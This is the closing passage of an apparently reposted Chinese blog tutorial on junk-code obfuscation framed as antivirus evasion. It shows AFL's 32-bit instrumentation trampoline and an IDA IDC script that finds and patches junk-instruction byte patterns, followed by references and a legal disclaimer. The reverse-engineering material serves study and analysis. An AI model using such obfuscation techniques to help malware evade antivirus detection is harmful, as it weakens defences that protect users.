static&nbsp;const u8*&nbsp;trampoline_fmt_32&nbsp;=&nbsp;&nbsp;"\n"&nbsp;&nbsp;"/* --- AFL TRAMPOLINE (32-BIT) --- */\n"&nbsp;&nbsp;"\n"&nbsp;&nbsp;".align 4\n"&nbsp;&nbsp;"\n"&nbsp;&nbsp;"leal -16(%%esp), %%esp\n"&nbsp;&nbsp;"movl %%edi, &nbsp;0(%%esp)\n"&nbsp;&nbsp;"movl %%edx, &nbsp;4(%%esp)\n"&nbsp;&nbsp;"movl %%ecx, &nbsp;8(%%esp)\n"&nbsp;&nbsp;"movl %%eax, 12(%%esp)\n"&nbsp;&nbsp;"movl $0x%08x, %%ecx\n"&nbsp;&nbsp;"call __afl_maybe_log\n"&nbsp;&nbsp;"movl 12(%%esp), %%eax\n"&nbsp;&nbsp;"movl &nbsp;8(%%esp), %%ecx\n"&nbsp;&nbsp;"movl &nbsp;4(%%esp), %%edx\n"&nbsp;&nbsp;"movl &nbsp;0(%%esp), %%edi\n"&nbsp;&nbsp;"leal 16(%%esp), %%esp\n"&nbsp;&nbsp;"\n"&nbsp;&nbsp;"/* --- END --- */\n"&nbsp;&nbsp;"\n";

AFL 相当于魔改了编译器,这种方式更可能贴近 OLLVM 这种爆改编译器的做法,所以这里也只是提一嘴。

使用IDA去除花指令

1. 手动patch

就是识别到花指令,然后直接修改汇编代码,没什么好说的,例如这里的

直接jmp,我这里是通过修改byte而不是assembly得到的

2. 使用IDA-Python自动清除

依旧使用之前的x64 手动添加的例子,我们可以编写idc脚本进行去除

主要思想就是找到特征码,然后清除

https://docs.hex-rays.com/9.1/developer-guide/idc

#include<idc.idc>static&nbsp;main(){&nbsp; &nbsp;&nbsp;auto&nbsp;StartVa, StopVa, Size, i;&nbsp; &nbsp; StartVa=0x1400015E0;&nbsp; &nbsp; StopVa=0x14000161D;&nbsp; &nbsp; Size=StopVa-StartVa;&nbsp; &nbsp;&nbsp;for&nbsp;(i=0; i<Size; i++){&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(Byte(StartVa)==0x4C&nbsp;&&&nbsp;Byte(StartVa+1)==0x8D&nbsp;&&&nbsp;Byte(StartVa+2)==0x15)&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;PatchByte(StartVa,&nbsp;0xEB);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;PatchByte(StartVa+1,&nbsp;0x18);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;PatchByte(StartVa+2,&nbsp;0x90);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;MakeCode(StartVa);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StartVa++;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Message("Find Fakereturn Opcode!!\n");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; StartVa++;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;Message("Clear Fakereturn Opcode Ok\n");}

run了过后

引用

https://mp.weixin.qq.com/s/UsPTeRZvlLFUG-EjCkVqTQ

https://singlehorn.github.io/2026/02/04/VNCTF2026%E5%87%BA%E9%A2%98%E7%AC%94%E8%AE%B0/

https://joe1sn.eu.org/2023/07/22/afl-source/


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:不止Sec joe1sn joe1sn《【免杀】花指令入门》

【免杀】花指令入门 网络安全文章

【免杀】花指令入门

文章总结: 本文系统介绍了花指令(junkcode)的基本原理与实现方法,重点演示了x32环境下通过内联汇编和宏定义添加花指令的技术,包括基础跳转指令插入和自动
评论:0   参与:  0